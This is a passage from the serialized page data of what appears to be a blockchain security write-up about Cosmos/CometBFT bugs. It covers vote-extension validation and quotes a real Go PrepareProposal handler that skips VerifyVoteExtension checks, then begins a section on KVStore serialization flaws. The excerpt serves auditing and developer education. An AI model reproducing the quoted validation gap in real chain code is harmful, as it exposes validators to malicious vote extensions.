"children":81773},{"style":958},[81774],{"type":28,"value":81775},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":23,"tag":139,"props":81777,"children":81778},{"class":141,"line":1667},[81779],{"type":23,"tag":139,"props":81780,"children":81781},{"style":982},[81782],{"type":28,"value":80422},{"type":23,"tag":139,"props":81784,"children":81785},{"class":141,"line":1676},[81786,81790,81794,81798,81802,81807,81811,81815,81819,81824,81828,81833,81837,81841],{"type":23,"tag":139,"props":81787,"children":81788},{"style":294},[81789],{"type":28,"value":80240},{"type":23,"tag":139,"props":81791,"children":81792},{"style":982},[81793],{"type":28,"value":74320},{"type":23,"tag":139,"props":81795,"children":81796},{"style":294},[81797],{"type":28,"value":81400},{"type":23,"tag":139,"props":81799,"children":81800},{"style":259},[81801],{"type":28,"value":73},{"type":23,"tag":139,"props":81803,"children":81804},{"style":294},[81805],{"type":28,"value":81806},"blockExec",{"type":23,"tag":139,"props":81808,"children":81809},{"style":259},[81810],{"type":28,"value":73},{"type":23,"tag":139,"props":81812,"children":81813},{"style":245},[81814],{"type":28,"value":81068},{"type":23,"tag":139,"props":81816,"children":81817},{"style":259},[81818],{"type":28,"value":262},{"type":23,"tag":139,"props":81820,"children":81821},{"style":294},[81822],{"type":28,"value":81823},"context",{"type":23,"tag":139,"props":81825,"children":81826},{"style":259},[81827],{"type":28,"value":73},{"type":23,"tag":139,"props":81829,"children":81830},{"style":245},[81831],{"type":28,"value":81832},"TODO",{"type":23,"tag":139,"props":81834,"children":81835},{"style":259},[81836],{"type":28,"value":16389},{"type":23,"tag":139,"props":81838,"children":81839},{"style":294},[81840],{"type":28,"value":81263},{"type":23,"tag":139,"props":81842,"children":81843},{"style":259},[81844],{"type":28,"value":273},{"type":23,"tag":139,"props":81846,"children":81847},{"class":141,"line":1745},[81848],{"type":23,"tag":139,"props":81849,"children":81850},{"style":982},[81851],{"type":28,"value":80422},{"type":23,"tag":139,"props":81853,"children":81854},{"class":141,"line":1753},[81855],{"type":23,"tag":139,"props":81856,"children":81857},{"style":259},[81858],{"type":28,"value":1326},{"type":23,"tag":139,"props":81860,"children":81861},{"class":141,"line":1783},[81862,81866,81870,81874],{"type":23,"tag":139,"props":81863,"children":81864},{"style":259},[81865],{"type":28,"value":13790},{"type":23,"tag":139,"props":81867,"children":81868},{"style":319},[81869],{"type":28,"value":1293},{"type":23,"tag":139,"props":81871,"children":81872},{"style":319},[81873],{"type":28,"value":13799},{"type":23,"tag":139,"props":81875,"children":81876},{"style":259},[81877],{"type":28,"value":1268},{"type":23,"tag":139,"props":81879,"children":81880},{"class":141,"line":1791},[81881],{"type":23,"tag":139,"props":81882,"children":81883},{"style":982},[81884],{"type":28,"value":79746},{"type":23,"tag":139,"props":81886,"children":81887},{"class":141,"line":1823},[81888],{"type":23,"tag":139,"props":81889,"children":81890},{"style":259},[81891],{"type":28,"value":1335},{"type":23,"tag":139,"props":81893,"children":81894},{"class":141,"line":1831},[81895],{"type":23,"tag":139,"props":81896,"children":81897},{"style":982},[81898],{"type":28,"value":18347},{"type":23,"tag":139,"props":81900,"children":81901},{"class":141,"line":1891},[81902],{"type":23,"tag":139,"props":81903,"children":81904},{"style":259},[81905],{"type":28,"value":1897},{"type":23,"tag":24,"props":81907,"children":81908},{},[81909],{"type":28,"value":81910},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":23,"tag":666,"props":81912,"children":81914},{"id":81913},"real-world-examples-4",[81915],{"type":28,"value":74593},{"type":23,"tag":24,"props":81917,"children":81918},{},[81919,81921,81926,81928,81934,81936,81942],{"type":28,"value":81920},"An example of the bug we just described is shown here. ",{"type":23,"tag":135,"props":81922,"children":81924},{"className":81923},[],[81925],{"type":28,"value":81047},{"type":28,"value":81927}," only checks that each vote is properly signed by a validator in ",{"type":23,"tag":135,"props":81929,"children":81931},{"className":81930},[],[81932],{"type":28,"value":81933},"ValidateVoteExtension",{"type":28,"value":81935}," but does not verify it against the rules in ",{"type":23,"tag":135,"props":81937,"children":81939},{"className":81938},[],[81940],{"type":28,"value":81941},"VerifyVoteExtention.",{"type":28,"value":81943}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":23,"tag":24,"props":81945,"children":81946},{},[81947],{"type":23,"tag":64,"props":81948,"children":81951},{"href":81949,"rel":81950},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[68],[81952],{"type":28,"value":74643},{"type":23,"tag":128,"props":81954,"children":81956},{"code":81955,"language":74068,"meta":7,"className":74069,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[81957],{"type":23,"tag":135,"props":81958,"children":81959},{"__ignoreMap":7},[81960,82014,82105,82112,82133,82200,82208,82313,82336,82355,82362,82416,82439,82494,82513,82520,82527,82534,82588,82595,82621,82644,82696,82758,82765,82792,82812,82824,82831],{"type":23,"tag":139,"props":81961,"children":81962},{"class":141,"line":142},[81963,81967,81971,81976,81980,81985,81989,81994,81998,82002,82006,82010],{"type":23,"tag":139,"props":81964,"children":81965},{"style":279},[81966],{"type":28,"value":74204},{"type":23,"tag":139,"props":81968,"children":81969},{"style":259},[81970],{"type":28,"value":1042},{"type":23,"tag":139,"props":81972,"children":81973},{"style":294},[81974],{"type":28,"value":81975},"h ",{"type":23,"tag":139,"props":81977,"children":81978},{"style":982},[81979],{"type":28,"value":2573},{"type":23,"tag":139,"props":81981,"children":81982},{"style":305},[81983],{"type":28,"value":81984},"Handlers",{"type":23,"tag":139,"props":81986,"children":81987},{"style":259},[81988],{"type":28,"value":1062},{"type":23,"tag":139,"props":81990,"children":81991},{"style":245},[81992],{"type":28,"value":81993},"PrepareProposalHandler",{"type":23,"tag":139,"props":81995,"children":81996},{"style":259},[81997],{"type":28,"value":12054},{"type":23,"tag":139,"props":81999,"children":82000},{"style":305},[82001],{"type":28,"value":76634},{"type":23,"tag":139,"props":82003,"children":82004},{"style":259},[82005],{"type":28,"value":73},{"type":23,"tag":139,"props":82007,"children":82008},{"style":305},[82009],{"type":28,"value":81993},{"type":23,"tag":139,"props":82011,"children":82012},{"style":259},[82013],{"type":28,"value":1268},{"type":23,"tag":139,"props":82015,"children":82016},{"class":141,"line":151},[82017,82021,82025,82029,82033,82037,82041,82045,82049,82054,82058,82063,82067,82072,82076,82080,82084,82088,82093,82097,82101],{"type":23,"tag":139,"props":82018,"children":82019},{"style":319},[82020],{"type":28,"value":322},{"type":23,"tag":139,"props":82022,"children":82023},{"style":279},[82024],{"type":28,"value":77913},{"type":23,"tag":139,"props":82026,"children":82027},{"style":259},[82028],{"type":28,"value":262},{"type":23,"tag":139,"props":82030,"children":82031},{"style":294},[82032],{"type":28,"value":18288},{"type":23,"tag":139,"props":82034,"children":82035},{"style":305},[82036],{"type":28,"value":76545},{"type":23,"tag":139,"props":82038,"children":82039},{"style":259},[82040],{"type":28,"value":73},{"type":23,"tag":139,"props":82042,"children":82043},{"style":305},[82044],{"type":28,"value":74253},{"type":23,"tag":139,"props":82046,"children":82047},{"style":259},[82048],{"type":28,"value":1052},{"type":23,"tag":139,"props":82050,"children":82051},{"style":294},[82052],{"type":28,"value":82053},"req",{"type":23,"tag":139,"props":82055,"children":82056},{"style":982},[82057],{"type":28,"value":7825},{"type":23,"tag":139,"props":82059,"children":82060},{"style":305},[82061],{"type":28,"value":82062},"abcitypes",{"type":23,"tag":139,"props":82064,"children":82065},{"style":259},[82066],{"type":28,"value":73},{"type":23,"tag":139,"props":82068,"children":82069},{"style":305},[82070],{"type":28,"value":82071},"RequestPrepareProposal",{"type":23,"tag":139,"props":82073,"children":82074},{"style":259},[82075],{"type":28,"value":74286},{"type":23,"tag":139,"props":82077,"children":82078},{"style":982},[82079],{"type":28,"value":2573},{"type":23,"tag":139,"props":82081,"children":82082},{"style":305},[82083],{"type":28,"value":82062},{"type":23,"tag":139,"props":82085,"children":82086},{"style":259},[82087],{"type":28,"value":73},{"type":23,"tag":139,"props":82089,"children":82090},{"style":305},[82091],{"type":28,"value":82092},"ResponsePrepareProposal",{"type":23,"tag":139,"props":82094,"children":82095},{"style":259},[82096],{"type":28,"value":1052},{"type":23,"tag":139,"props":82098,"children":82099},{"style":305},[82100],{"type":28,"value":12875},{"type":23,"tag":139,"props":82102,"children":82103},{"style":259},[82104],{"type":28,"value":12815},{"type":23,"tag":139,"props":82106,"children":82107},{"class":141,"line":160},[82108],{"type":23,"tag":139,"props":82109,"children":82110},{"style":982},[82111],{"type":28,"value":79746},{"type":23,"tag":139,"props":82113,"children":82114},{"class":141,"line":169},[82115,82119,82124,82128],{"type":23,"tag":139,"props":82116,"children":82117},{"style":279},[82118],{"type":28,"value":78022},{"type":23,"tag":139,"props":82120,"children":82121},{"style":294},[82122],{"type":28,"value":82123}," injection",{"type":23,"tag":139,"props":82125,"children":82126},{"style":259},[82127],{"type":28,"value":74131},{"type":23,"tag":139,"props":82129,"children":82130},{"style":305},[82131],{"type":28,"value":82132},"byte\n",{"type":23,"tag":139,"props":82134,"children":82135},{"class":141,"line":178},[82136,82140,82145,82149,82153,82157,82161,82165,82169,82173,82178,82182,82187,82191,82196],{"type":23,"tag":139,"props":82137,"children":82138},{"style":319},[82139],{"type":28,"value":1249},{"type":23,"tag":139,"props":82141,"children":82142},{"style":294},[82143],{"type":28,"value":82144}," req",{"type":23,"tag":139,"props":82146,"children":82147},{"style":259},[82148],{"type":28,"value":73},{"type":23,"tag":139,"props":82150,"children":82151},{"style":294},[82152],{"type":28,"value":81383},{"type":23,"tag":139,"props":82154,"children":82155},{"style":982},[82156],{"type":28,"value":12205},{"type":23,"tag":139,"props":82158,"children":82159},{"style":294},[82160],{"type":28,"value":23864},{"type":23,"tag":139,"props":82162,"children":82163},{"style":259},[82164],{"type":28,"value":73},{"type":23,"tag":139,"props":82166,"children":82167},{"style":245},[82168],{"type":28,"value":81584},{"type":23,"tag":139,"props":82170,"children":82171},{"style":259},[82172],{"type":28,"value":28188},{"type":23,"tag":139,"props":82174,"children":82175},{"style":294},[82176],{"type":28,"value":82177},"Abci",{"type":23,"tag":139,"props":82179,"children":82180},{"style":259},[82181],{"type":28,"value":73},{"type":23,"tag":139,"props":82183,"children":82184},{"style":294},[82185],{"type":28,"value":82186},"VoteExtensionsEnableHeight",{"type":23,"tag":139,"props":82188,"children":82189},{"style":982},[82190],{"type":28,"value":12196},{"type":23,"tag":139,"props":82192,"children":82193},{"style":294},[82194],{"type":28,"value":82195}," collectSigs",{"type":23,"tag":139,"props":82197,"children":82198},{"style":259},[82199],{"type":28,"value":1268},{"type":23,"tag":139,"props":82201,"children":82202},{"class":141,"line":187},[82203],{"type":23,"tag":139,"props":82204,"children":82205},{"style":958},[82206],{"type":28,"value":82207},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":139,"props":82209,"children":82210},{"class":141,"line":196},[82211,82215,82219,82224,82228,82233,82237,82241,82245,82250,82254,82259,82263,82267,82271,82275,82279,82283,82287,82292,82296,82300,82304,82309],{"type":23,"tag":139,"props":82212,"children":82213},{"style":294},[82214],{"type":28,"value":80240},{"type":23,"tag":139,"props":82216,"children":82217},{"style":982},[82218],{"type":28,"value":74320},{"type":23,"tag":139,"props":82220,"children":82221},{"style":294},[82222],{"type":28,"value":82223}," baseapp",{"type":23,"tag":139,"props":82225,"children":82226},{"style":259},[82227],{"type":28,"value":73},{"type":23,"tag":139,"props":82229,"children":82230},{"style":245},[82231],{"type":28,"value":82232},"ValidateVoteExtensions",{"type":23,"tag":139,"props":82234,"children":82235},{"style":259},[82236],{"type":28,"value":262},{"type":23,"tag":139,"props":82238,"children":82239},{"style":294},[82240],{"type":28,"value":18288},{"type":23,"tag":139,"props":82242,"children":82243},{"style":259},[82244],{"type":28,"value":1052},{"type":23,"tag":139,"props":82246,"children":82247},{"style":294},[82248],{"type":28,"value":82249},"h",{"type":23,"tag":139,"props":82251,"children":82252},{"style":259},[82253],{"type":28,"value":73},{"type":23,"tag":139,"props":82255,"children":82256},{"style":294},[82257],{"type":28,"value":82258},"stakingKeeper",{"type":23,"tag":139,"props":82260,"children":82261},{"style":259},[82262],{"type":28,"value":1052},{"type":23,"tag":139,"props":82264,"children":82265},{"style":294},[82266],{"type":28,"value":82053},{"type":23,"tag":139,"props":82268,"children":82269},{"style":259},[82270],{"type":28,"value":73},{"type":23,"tag":139,"props":82272,"children":82273},{"style":294},[82274],{"type":28,"value":81383},{"type":23,"tag":139,"props":82276,"children":82277},{"style":259},[82278],{"type":28,"value":1052},{"type":23,"tag":139,"props":82280,"children":82281},{"style":294},[82282],{"type":28,"value":18288},{"type":23,"tag":139,"props":82284,"children":82285},{"style":259},[82286],{"type":28,"value":73},{"type":23,"tag":139,"props":82288,"children":82289},{"style":245},[82290],{"type":28,"value":82291},"ChainID",{"type":23,"tag":139,"props":82293,"children":82294},{"style":259},[82295],{"type":28,"value":16389},{"type":23,"tag":139,"props":82297,"children":82298},{"style":294},[82299],{"type":28,"value":82053},{"type":23,"tag":139,"props":82301,"children":82302},{"style":259},[82303],{"type":28,"value":73},{"type":23,"tag":139,"props":82305,"children":82306},{"style":294},[82307],{"type":28,"value":82308},"LocalLastCommit",{"type":23,"tag":139,"props":82310,"children":82311},{"style":259},[82312],{"type":28,"value":273},{"type":23,"tag":139,"props":82314,"children":82315},{"class":141,"line":205},[82316,82320,82324,82328,82332],{"type":23,"tag":139,"props":82317,"children":82318},{"style":319},[82319],{"type":28,"value":56700},{"type":23,"tag":139,"props":82321,"children":82322},{"style":294},[82323],{"type":28,"value":46418},{"type":23,"tag":139,"props":82325,"children":82326},{"style":982},[82327],{"type":28,"value":62287},{"type":23,"tag":139,"props":82329,"children":82330},{"style":279},[82331],{"type":28,"value":79822},{"type":23,"tag":139,"props":82333,"children":82334},{"style":259},[82335],{"type":28,"value":1268},{"type":23,"tag":139,"props":82337,"children":82338},{"class":141,"line":214},[82339,82343,82347,82351],{"type":23,"tag":139,"props":82340,"children":82341},{"style":319},[82342],{"type":28,"value":58628},{"type":23,"tag":139,"props":82344,"children":82345},{"style":279},[82346],{"type":28,"value":79822},{"type":23,"tag":139,"props":82348,"children":82349},{"style":259},[82350],{"type":28,"value":1052},{"type":23,"tag":139,"props":82352,"children":82353},{"style":294},[82354],{"type":28,"value":81543},{"type":23,"tag":139,"props":82356,"children":82357},{"class":141,"line":1320},[82358],{"type":23,"tag":139,"props":82359,"children":82360},{"style":259},[82361],{"type":28,"value":56784},{"type":23,"tag":139,"props":82363,"children":82364},{"class":141,"line":1329},[82365,82370,82374,82378,82382,82387,82391,82396,82400,82404,82408,82412],{"type":23,"tag":139,"props":82366,"children":82367},{"style":294},[82368],{"type":28,"value":82369},"            injection",{"type":23,"tag":139,"props":82371,"children":82372},{"style":259},[82373],{"type":28,"value":1052},{"type":23,"tag":139,"props":82375,"children":82376},{"style":294},[82377],{"type":28,"value":46317},{"type":23,"tag":139,"props":82379,"children":82380},{"style":982},[82381],{"type":28,"value":985},{"type":23,"tag":139,"props":82383,"children":82384},{"style":294},[82385],{"type":28,"value":82386}," json",{"type":23,"tag":139,"props":82388,"children":82389},{"style":259},[82390],{"type":28,"value":73},{"type":23,"tag":139,"props":82392,"children":82393},{"style":245},[82394],{"type":28,"value":82395},"Marshal",{"type":23,"tag":139,"props":82397,"children":82398},{"style":259},[82399],{"type":28,"value":262},{"type":23,"tag":139,"props":82401,"children":82402},{"style":294},[82403],{"type":28,"value":82053},{"type":23,"tag":139,"props":82405,"children":82406},{"style":259},[82407],{"type":28,"value":73},{"type":23,"tag":139,"props":82409,"children":82410},{"style":294},[82411],{"type":28,"value":82308},{"type":23,"tag":139,"props":82413,"children":82414},{"style":259},[82415],{"type":28,"value":273},{"type":23,"tag":139,"props":82417,"children":82418},{"class":141,"line":1580},[82419,82423,82427,82431,82435],{"type":23,"tag":139,"props":82420,"children":82421},{"style":319},[82422],{"type":28,"value":56700},{"type":23,"tag":139,"props":82424,"children":82425},{"style":294},[82426],{"type":28,"value":46418},{"type":23,"tag":139,"props":82428,"children":82429},{"style":982},[82430],{"type":28,"value":62287},{"type":23,"tag":139,"props":82432,"children":82433},{"style":279},[82434],{"type":28,"value":79822},{"type":23,"tag":139,"props":82436,"children":82437},{"style":259},[82438],{"type":28,"value":1268},{"type":23,"tag":139,"props":82440,"children":82441},{"class":141,"line":1597},[82442,82447,82451,82456,82460,82464,82468,82473,82477,82482,82486,82490],{"type":23,"tag":139,"props":82443,"children":82444},{"style":294},[82445],{"type":28,"value":82446},"                h",{"type":23,"tag":139,"props":82448,"children":82449},{"style":259},[82450],{"type":28,"value":73},{"type":23,"tag":139,"props":82452,"children":82453},{"style":294},[82454],{"type":28,"value":82455},"logger",{"type":23,"tag":139,"props":82457,"children":82458},{"style":259},[82459],{"type":28,"value":73},{"type":23,"tag":139,"props":82461,"children":82462},{"style":245},[82463],{"type":28,"value":35288},{"type":23,"tag":139,"props":82465,"children":82466},{"style":259},[82467],{"type":28,"value":262},{"type":23,"tag":139,"props":82469,"children":82470},{"style":265},[82471],{"type":28,"value":82472},"\"failed to marshal extended votes\"",{"type":23,"tag":139,"props":82474,"children":82475},{"style":259},[82476],{"type":28,"value":1052},{"type":23,"tag":139,"props":82478,"children":82479},{"style":265},[82480],{"type":28,"value":82481},"\"err\"",{"type":23,"tag":139,"props":82483,"children":82484},{"style":259},[82485],{"type":28,"value":1052},{"type":23,"tag":139,"props":82487,"children":82488},{"style":294},[82489],{"type":28,"value":46317},{"type":23,"tag":139,"props":82491,"children":82492},{"style":259},[82493],{"type":28,"value":273},{"type":23,"tag":139,"props":82495,"children":82496},{"class":141,"line":1614},[82497,82501,82505,82509],{"type":23,"tag":139,"props":82498,"children":82499},{"style":319},[82500],{"type":28,"value":58628},{"type":23,"tag":139,"props":82502,"children":82503},{"style":279},[82504],{"type":28,"value":79822},{"type":23,"tag":139,"props":82506,"children":82507},{"style":259},[82508],{"type":28,"value":1052},{"type":23,"tag":139,"props":82510,"children":82511},{"style":294},[82512],{"type":28,"value":81543},{"type":23,"tag":139,"props":82514,"children":82515},{"class":141,"line":1627},[82516],{"type":23,"tag":139,"props":82517,"children":82518},{"style":259},[82519],{"type":28,"value":56784},{"type":23,"tag":139,"props":82521,"children":82522},{"class":141,"line":1636},[82523],{"type":23,"tag":139,"props":82524,"children":82525},{"style":982},[82526],{"type":28,"value":80422},{"type":23,"tag":139,"props":82528,"children":82529},{"class":141,"line":1659},[82530],{"type":23,"tag":139,"props":82531,"children":82532},{"style":259},[82533],{"type":28,"value":1326},{"type":23,"tag":139,"props":82535,"children":82536},{"class":141,"line":1667},[82537,82542,82546,82550,82554,82559,82563,82568,82572,82576,82580,82584],{"type":23,"tag":139,"props":82538,"children":82539},{"style":294},[82540],{"type":28,"value":82541},"        defaultRes",{"type":23,"tag":139,"props":82543,"children":82544},{"style":259},[82545],{"type":28,"value":1052},{"type":23,"tag":139,"props":82547,"children":82548},{"style":294},[82549],{"type":28,"value":46317},{"type":23,"tag":139,"props":82551,"children":82552},{"style":982},[82553],{"type":28,"value":74320},{"type":23,"tag":139,"props":82555,"children":82556},{"style":294},[82557],{"type":28,"value":82558}," h",{"type":23,"tag":139,"props":82560,"children":82561},{"style":259},[82562],{"type":28,"value":73},{"type":23,"tag":139,"props":82564,"children":82565},{"style":245},[82566],{"type":28,"value":82567},"defaultPrepareProposal",{"type":23,"tag":139,"props":82569,"children":82570},{"style":259},[82571],{"type":28,"value":262},{"type":23,"tag":139,"props":82573,"children":82574},{"style":294},[82575],{"type":28,"value":18288},{"type":23,"tag":139,"props":82577,"children":82578},{"style":259},[82579],{"type":28,"value":1052},{"type":23,"tag":139,"props":82581,"children":82582},{"style":294},[82583],{"type":28,"value":82053},{"type":23,"tag":139,"props":82585,"children":82586},{"style":259},[82587],{"type":28,"value":273},{"type":23,"tag":139,"props":82589,"children":82590},{"class":141,"line":1676},[82591],{"type":23,"tag":139,"props":82592,"children":82593},{"style":982},[82594],{"type":28,"value":79746},{"type":23,"tag":139,"props":82596,"children":82597},{"class":141,"line":1745},[82598,82603,82607,82612,82616],{"type":23,"tag":139,"props":82599,"children":82600},{"style":294},[82601],{"type":28,"value":82602},"        proposalTxs",{"type":23,"tag":139,"props":82604,"children":82605},{"style":982},[82606],{"type":28,"value":74320},{"type":23,"tag":139,"props":82608,"children":82609},{"style":294},[82610],{"type":28,"value":82611}," defaultRes",{"type":23,"tag":139,"props":82613,"children":82614},{"style":259},[82615],{"type":28,"value":73},{"type":23,"tag":139,"props":82617,"children":82618},{"style":294},[82619],{"type":28,"value":82620},"Txs\n",{"type":23,"tag":139,"props":82622,"children":82623},{"class":141,"line":1753},[82624,82628,82632,82636,82640],{"type":23,"tag":139,"props":82625,"children":82626},{"style":319},[82627],{"type":28,"value":1249},{"type":23,"tag":139,"props":82629,"children":82630},{"style":294},[82631],{"type":28,"value":82123},{"type":23,"tag":139,"props":82633,"children":82634},{"style":982},[82635],{"type":28,"value":62287},{"type":23,"tag":139,"props":82637,"children":82638},{"style":279},[82639],{"type":28,"value":79822},{"type":23,"tag":139,"props":82641,"children":82642},{"style":259},[82643],{"type":28,"value":1268},{"type":23,"tag":139,"props":82645,"children":82646},{"class":141,"line":1783},[82647,82652,82656,82660,82665,82670,82674,82679,82683,82688,82692],{"type":23,"tag":139,"props":82648,"children":82649},{"style":294},[82650],{"type":28,"value":82651},"            proposalTxs",{"type":23,"tag":139,"props":82653,"children":82654},{"style":982},[82655],{"type":28,"value":985},{"type":23,"tag":139,"props":82657,"children":82658},{"style":245},[82659],{"type":28,"value":75600},{"type":23,"tag":139,"props":82661,"children":82662},{"style":259},[82663],{"type":28,"value":82664},"([][]",{"type":23,"tag":139,"props":82666,"children":82667},{"style":305},[82668],{"type":28,"value":82669},"byte",{"type":23,"tag":139,"props":82671,"children":82672},{"style":259},[82673],{"type":28,"value":74522},{"type":23,"tag":139,"props":82675,"children":82676},{"style":294},[82677],{"type":28,"value":82678},"injection",{"type":23,"tag":139,"props":82680,"children":82681},{"style":259},[82682],{"type":28,"value":74541},{"type":23,"tag":139,"props":82684,"children":82685},{"style":294},[82686],{"type":28,"value":82687},"proposalTxs",{"type":23,"tag":139,"props":82689,"children":82690},{"style":982},[82691],{"type":28,"value":7599},{"type":23,"tag":139,"props":82693,"children":82694},{"style":259},[82695],{"type":28,"value":273},{"type":23,"tag":139,"props":82697,"children":82698},{"class":141,"line":1791},[82699,82704,82708,82712,82716,82720,82724,82729,82733,82738,82742,82746,82750,82754],{"type":23,"tag":139,"props":82700,"children":82701},{"style":294},[82702],{"type":28,"value":82703},"            h",{"type":23,"tag":139,"props":82705,"children":82706},{"style":259},[82707],{"type":28,"value":73},{"type":23,"tag":139,"props":82709,"children":82710},{"style":294},[82711],{"type":28,"value":82455},{"type":23,"tag":139,"props":82713,"children":82714},{"style":259},[82715],{"type":28,"value":73},{"type":23,"tag":139,"props":82717,"children":82718},{"style":245},[82719],{"type":28,"value":22731},{"type":23,"tag":139,"props":82721,"children":82722},{"style":259},[82723],{"type":28,"value":262},{"type":23,"tag":139,"props":82725,"children":82726},{"style":265},[82727],{"type":28,"value":82728},"\"injected local last commit\"",{"type":23,"tag":139,"props":82730,"children":82731},{"style":259},[82732],{"type":28,"value":1052},{"type":23,"tag":139,"props":82734,"children":82735},{"style":265},[82736],{"type":28,"value":82737},"\"height\"",{"type":23,"tag":139,"props":82739,"children":82740},{"style":259},[82741],{"type":28,"value":1052},{"type":23,"tag":139,"props":82743,"children":82744},{"style":294},[82745],{"type":28,"value":82053},{"type":23,"tag":139,"props":82747,"children":82748},{"style":259},[82749],{"type":28,"value":73},{"type":23,"tag":139,"props":82751,"children":82752},{"style":294},[82753],{"type":28,"value":81383},{"type":23,"tag":139,"props":82755,"children":82756},{"style":259},[82757],{"type":28,"value":273},{"type":23,"tag":139,"props":82759,"children":82760},{"class":141,"line":1823},[82761],{"type":23,"tag":139,"props":82762,"children":82763},{"style":259},[82764],{"type":28,"value":1326},{"type":23,"tag":139,"props":82766,"children":82767},{"class":141,"line":1831},[82768,82772,82776,82780,82784,82788],{"type":23,"tag":139,"props":82769,"children":82770},{"style":319},[82771],{"type":28,"value":13755},{"type":23,"tag":139,"props":82773,"children":82774},{"style":982},[82775],{"type":28,"value":5144},{"type":23,"tag":139,"props":82777,"children":82778},{"style":305},[82779],{"type":28,"value":82062},{"type":23,"tag":139,"props":82781,"children":82782},{"style":259},[82783],{"type":28,"value":73},{"type":23,"tag":139,"props":82785,"children":82786},{"style":305},[82787],{"type":28,"value":82092},{"type":23,"tag":139,"props":82789,"children":82790},{"style":259},[82791],{"type":28,"value":8890},{"type":23,"tag":139,"props":82793,"children":82794},{"class":141,"line":1891},[82795,82800,82804,82808],{"type":23,"tag":139,"props":82796,"children":82797},{"style":294},[82798],{"type":28,"value":82799},"            Txs",{"type":23,"tag":139,"props":82801,"children":82802},{"style":259},[82803],{"type":28,"value":13343},{"type":23,"tag":139,"props":82805,"children":82806},{"style":294},[82807],{"type":28,"value":82687},{"type":23,"tag":139,"props":82809,"children":82810},{"style":259},[82811],{"type":28,"value":1488},{"type":23,"tag":139,"props":82813,"children":82814},{"class":141,"line":7053},[82815,82820],{"type":23,"tag":139,"props":82816,"children":82817},{"style":259},[82818],{"type":28,"value":82819},"        }, ",{"type":23,"tag":139,"props":82821,"children":82822},{"style":279},[82823],{"type":28,"value":74546},{"type":23,"tag":139,"props":82825,"children":82826},{"class":141,"line":7071},[82827],{"type":23,"tag":139,"props":82828,"children":82829},{"style":259},[82830],{"type":28,"value":1335},{"type":23,"tag":139,"props":82832,"children":82833},{"class":141,"line":7116},[82834],{"type":23,"tag":139,"props":82835,"children":82836},{"style":259},[82837],{"type":28,"value":1897},{"type":23,"tag":24,"props":82839,"children":82840},{},[82841,82843,82848,82849,82854,82856,82863],{"type":28,"value":82842},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":135,"props":82844,"children":82846},{"className":82845},[],[82847],{"type":28,"value":81212},{"type":28,"value":1042},{"type":23,"tag":135,"props":82850,"children":82852},{"className":82851},[],[82853],{"type":28,"value":81280},{"type":28,"value":82855},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":64,"props":82857,"children":82860},{"href":82858,"rel":82859},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[68],[82861],{"type":28,"value":82862},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":28,"value":82864},", which will later get rejected by CometBTF.",{"type":23,"tag":41,"props":82866,"children":82868},{"id":82867},"the-keymaker",[82869],{"type":28,"value":82870},"The Keymaker",{"type":23,"tag":24,"props":82872,"children":82873},{},[82874,82876,82882,82884,82889],{"type":28,"value":82875},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":135,"props":82877,"children":82879},{"className":82878},[],[82880],{"type":28,"value":82881},"KVStore",{"type":28,"value":82883}," to handle states efficently. In ",{"type":23,"tag":135,"props":82885,"children":82887},{"className":82886},[],[82888],{"type":28,"value":82881},{"type":28,"value":82890},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":24,"props":82892,"children":82893},{},[82894],{"type":28,"value":82895},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":24,"props":82897,"children":82898},{},[82899,82901,82907],{"type":28,"value":82900},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":135,"props":82902,"children":82904},{"className":82903},[],[82905],{"type":28,"value":82906},"positionMap",{"type":28,"value":82908}," structure mentioned below into storage.",{"type":23,"tag":128,"props":82910,"children":82912},{"code":82911,"language":74068,"meta":7,"className":74069,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[82913],{"type":23,"tag":135,"props":82914,"children":82915},{"__ignoreMap":7},[82916,82932,82949,82965,82984,82999,83006,83023],{"type":23,"tag":139,"props":82917,"children":82918},{"class":141,"line":142},[82919,82923,82928],{"type":23,"tag":139,"props":82920,"children":82921},{"style":279},[82922],{"type":28,"value":30644},{"type":23,"tag":139,"props":82924,"children":82925},{"style":305},[82926],{"type":28,"value":82927}," 